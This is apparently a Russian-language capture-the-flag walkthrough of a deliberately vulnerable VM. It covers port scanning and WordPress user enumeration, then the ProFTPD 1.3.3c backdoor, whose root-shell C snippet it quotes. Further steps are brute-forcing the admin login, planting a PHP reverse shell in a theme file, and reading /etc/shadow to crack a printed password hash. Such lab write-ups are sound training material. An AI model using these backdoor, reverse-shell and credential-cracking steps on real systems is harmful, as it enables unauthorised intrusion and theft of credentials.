Приветствую! На этот раз разберём интересную и в меру громоздкую тачку.
Образ для самостоятельного решения можно загрузить здесь (Для скачивания потребуется VPN)
Приятного чтения!
Сбор информации
Наша главная цель на данном этапе - нарисовать карту веб-приложения, где указаны различные составляющие нашей цели (библиотеки, сервисы, версии, фреймворки, плагины).
При помощи Nmap просканируем порты и сервисы хоста:
Таким образом мы узнали, что на хосте открыты порты 21(FTP), 22(SSH), 80(HTTP), определили примерную версию ядра, дистрибутив и версии сервисов.
ProFTPD и OpenSSH у меня сразу вызывают недоверие. Скорее всего на них есть вкусные эксплойты. Узнаем это на соответствующем этапе. Начнём своё исследование с 80-го порта
При просмотре главной страницы видим, что сайт рабочий, однако никакой полезной информации тут нет.
Просмотр исходного кода тоже ничего не дал.
По старинке пофаззим директории на нашей цели:
Список найденных путей с кодом:
+ http://192.168.0.106/index.html (CODE:200|SIZE:177)
+ http://192.168.0.106/secret/index.php (CODE:301|SIZE:0)
+ http://192.168.0.106/secret/wp-admin/admin.php (CODE:302|SIZE:0)
+ http://192.168.0.106/secret/wp-content/index.php (CODE:200|SIZE:0)
+ http://192.168.0.106/secret/wp-admin/network/admin.php (CODE:302|SIZE:0)
+ http://192.168.0.106/secret/wp-admin/user/admin.php (CODE:302|SIZE:0)
+ http://192.168.0.106/secret/wp-content/plugins/index.php (CODE:200|SIZE:0)
+ http://192.168.0.106/secret/wp-content/themes/index.php (CODE:200|SIZE:0)
Далее мы столкнулись со следующей проблемой - при переходе на некоторые директории хост использует домен «vtcsec» вместо IP-адреса.
Это можно исправить при помощи конфиг. файла /etc/hosts. Редактируем его следующим образом, добавив домен для обнаружения уязвимой тачки нашей Kali:
sudo echo "192.168.0.106 vtcsec" >> /etc/hosts
Таким образом страницы будут нам доступны:
Попробуем найти точку входа:
http://192.168.0.106/secret/wp-admin/admin.php будет нас редиректить на страницу авторизации CMS Wordpress,
Раз уж на хосте есть CMS Wordpress, то просканировать его при помощи утилиты wpscan будет не ошибкой.
Для энумерации пользователей введите следующую команду:
wpscan --url http://192.168.0.106/secret --enumerate u
Это дало нам логин существующего в CMS пользователя admin.
Энумерация пользователей можно осуществить и руками (если допустим вы запустили скан и не хотите тратить время в пустую), однако это не совсем удобно (по этому принципу проверяет существующих пользователей wpscan).
Обратите внимание на надпись об ошибке. При существующем пользователе и неверном вводе пароля система сообщит вам о том, что только пароль неверный, а при отсутствии такого пользака - укажет, что его нет.
Пользователь admin на хосте есть, но пароль неверный:
Пользователя user на хосте нет:
Данная уязвимость очень распространена в данной CMS (Даже на самых свежих версиях). Если оставлять конфиги как есть, то такая уязвимость точно будет на борту хоста. Опытные админы обычно закрывают такую дыру в безопасности.
При помощи утилиты whatweb можем вытащить версии сервисов. Также рекомендую для этого использовать удобный плагин Wappalyzer.
Два инструмента немного дополняют друг друга, что в очередной раз доказывает, что лучше всегда использовать несколько схожих инструментов при сборе информации.
Результаты разведки
Порты:
21/tcp open ftp ProFTPD 1.3.3c
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
Ядро:
Linux 3.2 - 4.9
Дистрибутив: Ubuntu
ЯП: PHP
CMS: WordPress 4.9
Библиотеки: JQuery 1.12.4
Креды: Admin:???
Эта информация поможет вам в дальнейшем при поиске уязвимостей.
Поиск уязвимостей
Поищем эксплойты на 21-й порт:
Далее поищем на 22-й порт что-то вкусное:
Для Apache httpd 2.4.18 ничего не нашлось :(
Теперь попробуем проэксплуатировать наши находки.
Эксплуатация уязвимостей
На данном этапе мы проверим какие находки будут применимы к уязвимому хосту.
ProFTP
Для начала попробуем пробиться через ProFTPD и внедрим на нашу цель бекдор.
Поищем эксплоит при помощи search в msfconsole
Для просмотра переменных эксплойта - show options
RHOST - адрес атакуемой машины
RPORT - порт атакуемой машины
Для изменения параметра используем команду set
Когда параметры атакуемой машины выставлены следующий этап - выбор полезной нагрузки. Для просмотра доступных пейлоадов используйте show payloads.
Далее у нас появятся новые параметры:
LHOST - адрес атакующей машины
LPORT - порт атакующей машины
Это нужно для обратного соединения и получения заветного шелла.
После выставления всех параметров у вас должно выйти следующее:
Запускаем эксплойт и получаем шелл root.
Так при помощи эксплойта с бекдором в FTP мы пробили один из векторов.
Есть ещё один интересный способ пробить данную версию сервиса, который я сейчас продемонстрирую:
Забавно, да? Я был сильно удивлён, когда наткнулся на данный эксплойт и он к тому же сработал. Его даже компилировать не пришлось. При изучении кода эксплойта я наткнулся на следующие строки:
if (strcmp(target, "ACIDBITCHEZ") == 0) {
setuid(0);
setgid(0);
system("/bin/sh;/sbin/sh");
}
Что наталкивает нас на то, что при вводе данной HELP-команды нам будет передана оболочка sh с UID и GID равные нулю.
Запихивать данный эксплойт не пришлось на атакуемую тачку не пришлось ведь он уже был на там оставлен :)
Судя по всему с данной версией бэкдор уже предустановлен.
OpenSSH
Ещё расскажу о найденной уязвимости в версии OpenSSH (эксплойт). У данной версии возможна энумерация пользователей SSH. Если заготовить хороший словарь с популярными usernames, то можно добыть существующие учётки.
CVE-2016-6210 работает следующим образом:
- Клиент подключается к SSH (на вход передаётся логин).
- Передаётся ооооочень длинный пароль.
- Механизм реагирования OpenSSH:
Если пользователь существует → пытается хешировать этот длинный пароль с использованием bcrypt/PBKDF2/etc. — это медленно.
Если пользователь не существует → проверка завершается моментально, так как система сразу отвергает логин.
Таким образом, при помощи данной CVE можно найти пользователей хоста, но это долгий вектор, который особых усилий не стоит. Но он работает!
Получение доступа к веб-интерфейсу
Теперь пойдём по другому вектору и решим кейс через компрометацию CMS.
Мы знаешь, что на хосте есть пользователь admin, но не знаем его кредов. Покажу вам одну из возможностей wpscan:
Пробрутив учётку, мы получили креды admin:admin
Можно было и руками натыкать :)
Теперь у нас есть доступ к веб-панели админа, но этого мало. Мы конечно уже можем написать, что админ лошара на странице, но нам нужно добиться прав root.
Теперь пробросим reverse-sell для того, чтобы упасть в хост. Для этого заходим на панель Appearance --> Editor.
На странице footer.php меняем код на php_reverce-shell
Меняем адрес (на IP-адрес Kali) и порт (по желанию). Я взял файл footer.php и изменил код в этом моделу.
После обновления данной страницы получаем шелл:
Нужно его усовершенствовать. Для этого проверим есть ли на хосте python:
python --version
И это даст нам версию Python 2.7.12. Можем улучшать оболочку до bash.
Перебрал руками ничего не вышло. Забросим сценарий в /tmp (данная директория не требует прав админа для различных манипуляций и именно поэтому лучше всего работать с ней при заливании на уяхвимый хост вредоносный код)
Поднимем http-сервер на Kali
Проверим есть ли wget на уязвимой машине
which wget
Ответ - /usr/bin/wget. Можем продолжать!
Запустим сценарий командой bash LinEnum.sh. Он даст нам приличный вывод, но рассмотрим самое важное:
Мы можем прочитать /etc/shadow - креды юзера marlinspike у нас в кармане
Судя по выводу данный юзер имеет права суперпользователя. Давайте получим с хеша пароль.
Для этого создадим отдельный файл с содержимым:
$6$wQb5nV3T$xB2WO/jOkbn4t1RUILrckw69LR/0EMtUbFFCYpM3MUHVmtyYW9.ov/aszTpWhLaC2x6Fvy5tpUUxQbUhCKbl4/
И пишем john crack.txt (имя файла с хешем)
Попробуем зайти на данного пользователя по SSH:
У нас выходит подключиться к marlinspike!
Посмотрим что может выполнять данный пользователь sudo -l
Раз уж у него есть права ALL:ALL для sudo, то пишем sudo su (пароль marlinspike) и наслаждаемся заветной решёточкой.
Выводы
Базовая тачка для оттачивания навыков похекания раскрылась как вполне разновекторная задачка. Уверен, что изначально она так не задумывалась, но мне удалось найти несколько способов провалиться в уязвимый хост и получить над ней полный доступ. Это был интересный опыт. Я постарался показать вам как последовательно, по шажочкам проводить анализ защищенности вашей цели.
Спасибо за внимание!